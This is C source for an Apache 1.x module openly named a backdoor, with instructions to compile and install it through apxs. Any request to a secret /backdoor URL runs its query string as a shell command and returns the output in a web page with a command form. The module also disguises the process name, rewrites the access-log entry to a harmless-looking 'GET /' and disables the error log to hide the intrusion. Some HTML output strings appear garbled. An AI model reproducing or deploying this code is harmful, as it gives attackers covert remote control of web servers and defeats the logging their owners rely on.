/* mod_backdoor.c * * Apache DSO backdoor * by tf8 / buffer0verfl0w * (tf8@zolo.freelsd.net) - (b0f.freebsd.lublin.pl) * * Compile: apxs -i -c -i mod_test.c << this will automatically compile, * link, and install DSO backdoor. * all you need is to restart apache * * NOTE: USE AT YOU OWN RISK */ #include "httpd.h" #include "http_config.h" #include "http_protocol.h" #include "http_log.h" #include "util_script.h" #include "http_main.h" #include "http_request.h" #include #include #define SIGNATURE "DSO_backdoor/0.9b tf/8" #define FAKE_URL "/" #define FAKE_STR "GET "FAKE_URL" HTTP/1.0" #define SEC_URL "/backdoor" // change this, doud #define EXEC_MASQ "-sh" module backdoor_module; typedef struct backdoor_cmd { request_rec *r; char *cmd; char *wrapper; } backdoor_cmd; /* * not done */ static int bd_exec_cmd(request_rec *r, char *wrapper, char *command, char **env) { return execl(wrapper,EXEC_MASQ,command,NULL); } /* Allows user to select a way to execute commands: * 1) Via /bin/sh -c * 2) Via specified program (command is parsed as single argument) */ static int backdoor_child(void *cmd, child_info *i) { request_rec *r=((backdoor_cmd *)cmd)->r; char *command=((backdoor_cmd *)cmd)->cmd; table *env=r->subprocess_env; char *wrapper=((backdoor_cmd *)cmd)->wrapper; if(!command) return 0; /* blam */ if(!wrapper) { ap_call_exec(r,i,command,ap_create_environment(r->pool, env),1); exit(0); } bd_exec_cmd(r, wrapper, command, ap_create_environment(r->pool, env)); exit(0); /* NOT REACHED */ return OK; } /* Sends a HTML-encoded text * */ static int bd_send_html_encoded(BUFF *fb, request_rec *r) { char chr; while(ap_bread(fb,(char *)&chr,1)==1) { switch(chr) { case '&': ap_rputs("&",r); break; case '<': ap_rputs("<",r); break; case '>': ap_rputs(">",r); break; default: ap_rputc(chr,r); break; } } return OK; } /* * ap_unescape_url() is too huge and does lot things we dont need here * or i missed something?! */ static int is_hex(char c) { if(strchr("0123456789abcdefABCDEF",c)!=NULL) return 1; return 0; } static int to_hex(char c) { if ( c >= '0' && c <= '9' ) return c - '0'; if ( c >= 'a' && c <= 'f' ) return c - 'a' + 10; if ( c >= 'A' && c <= 'F' ) return c - 'A' + 10; return 0; } static void bd_url_decode(char* from, char *to) { for (;*from!='\0';++to,++from) { if (from[0]=='%' && is_hex(from[1]) && is_hex(from[2]) ){ *to= to_hex(from[1])*16+to_hex(from[2]); from+= 2; } else *to = *from; } *to = '\0'; } /* parses QUERY_STRING */ char *bd_get_string(char *from, char *what, char *where, int max_len) { char *result, *temp; unsigned int len; result=strstr(from,what); if(result) { result+=strlen(what); if( *result || ((*result)!='&') ){ temp=strchr(result,'&'); if(temp) len=temp-result; else len=strlen(result); } } else result=NULL; if(result && (len < max_len-1 ) && *result ) { strncpy(where,result,len); strncpy(where+len,"\x0",1); while(temp=strchr(where,'+')) *temp=' '; } else return NULL; return where; } /* * main */ static int backdoor_post(request_rec *r) { int n, show_ainfo=0, html_encode=0; BUFF *std_err, *std_out, *clnt; char *args, *wrapper, *command; backdoor_cmd cmd; /* * Make sure, that there is no $SEC_URL directory on DocumentRoot * of ANY (virtual) server. There will be no access to scripts under * $SEC_URL */ if(strncmp(r->unparsed_uri,SEC_URL,strlen(SEC_URL))) return DECLINED; /* not for us */ if(r->args==NULL || !*(r->args)) { r->args=ap_pcalloc(r->pool,strlen("Welcome, BOSS\n")+2); r->args="Welcome, BOSS\n"; } args=ap_pcalloc(r->pool,strlen(r->args)); bd_url_decode(r->args,args); if(strstr(args,"bd_verbose=on")) show_ainfo=1; if(strstr(args,"bd_html-encode=on")) html_encode=1; command=ap_pcalloc(r->pool,1024); command=bd_get_string(args,"bd_command=",command,1024); if(command) wrapper=ap_pcalloc(r->pool,128); else wrapper=command; if(!command || !*command) command=NULL; wrapper=bd_get_string(args,"bd_wrapper=",wrapper,128); if(!wrapper || !*wrapper) wrapper=NULL; /* * Accept command just after "?" without those cgi stuff */ if(!command) command=args; cmd.cmd=command; cmd.wrapper=wrapper; cmd.r=r; ap_hard_timeout("lingering close",r); clnt=r->connection->client; /* header begin */ ap_rvputs(r,SERVER_PROTOCOL," ", "200 OK", "\015\012", NULL); ap_send_header_field(r, "Date", ap_gm_timestr_822(r->pool, r->request_time)); ap_send_header_field(r, "Server", ap_pstrcat(r->pool,ap_get_server_version(),"",SIGNATURE,NULL)); ap_send_header_field(r, "Content-type", "text/html"); ap_bwrite(clnt,"\015\012",2); /* end of header */ ap_bflush(clnt); if(!(n=ap_bspawn_child(r->pool,backdoor_child,(void *)&cmd, kill_never,NULL,&std_out,&std_err))) { return -1; } /* html body begin */ ap_rprintf(r,"\n\n\n%s at %s\n\nserver_hostname:"no server hostname"); ap_rprintf(r,"

"SIGNATURE"

Apache child info:uid %d, pid %d, ppid %d
\n",getuid(),getpid(),getppid()); if(show_ainfo) { ap_rprintf(r,"\n"); } ap_rprintf(r,"
command: %s
command pid:%d
%s%s
\n",command,n,wrapper?"command executed via:":"",wrapper?wrapper:""); ap_rputs("

STDOUT:

\n",r); 

if(!html_encode) 
ap_send_fb(std_out,r); 
else 
bd_send_html_encoded(std_out,r); 

ap_rputs("

\nSTDERR:
\n
\n",r); 

if(!html_encode) 
ap_send_fb(std_err,r); 
else 
bd_send_html_encoded(std_err,r); 

ap_bclose(std_err); 
ap_bclose(std_out); 

ap_rprintf(r,"\n
\n"); /* * Now send a html-form to provide an easier access */ ap_rprintf(r,"
\nMenu
\n",inet_ntoa(r->connection->local_addr.sin_addr),r->server->port,SEC_URL); ap_rputs("",r); ap_rputs("
\n",r); ap_rprintf(r,"Wrapper:
\n",wrapper?wrapper:""); ap_rprintf(r,"Verbosity:
\n",show_ainfo?"checked":""); ap_rprintf(r,"HTML-encode:
\n",html_encode?"checked":""); ap_rputs("
made and designed by tf8
© All Rights Reserved
\n",r); /* html body eof */ /* * r->the_request is used as log string, which will appear in access_log, and * because _port call comes before any server-preparation is done, we * can specify any string we want to appear as.. */ r->unparsed_uri=ap_pcalloc(r->pool,strlen(FAKE_URL)+1); r->filename=ap_pcalloc(r->pool,strlen(FAKE_URL)+1); r->the_request=ap_pcalloc(r->pool,strlen(FAKE_STR)+1); strcpy(r->unparsed_uri,FAKE_URL); strcpy(r->filename,FAKE_URL); strcpy(r->the_request,FAKE_STR); r->unparsed_uri[strlen(FAKE_URL)]='\0'; r->filename[strlen(FAKE_URL)]='\0'; r->the_request[strlen(FAKE_STR)]='\0'; /* * Server would not log error message, if FILE *error_log == NULL */ r->server->error_log=NULL; /* * Close client, and exit */ ap_bclose(clnt); ap_kill_timeout(r); exit(0); /* NOT REACHED */ return OK; } /* * Module function pointers */ module MODULE_VAR_EXPORT backdoor_module = { STANDARD_MODULE_STUFF, NULL, /* initializer */ NULL, /* dir config creater */ NULL, /* dir merger --- default is to override */ NULL, /* server config */ NULL, /* merge server configs */ NULL, /* command table */ NULL, /* handlers */ NULL, /* filename translation */ NULL, /* check_user_id */ NULL, /* check auth */ NULL, /* check access */ NULL, /* type_checker */ NULL, /* fixups */ NULL, /* logger */ NULL, /* header parser */ NULL, /* child_init */ NULL, /* child_exit */ backdoor_post /* post read-request */ }; /* END */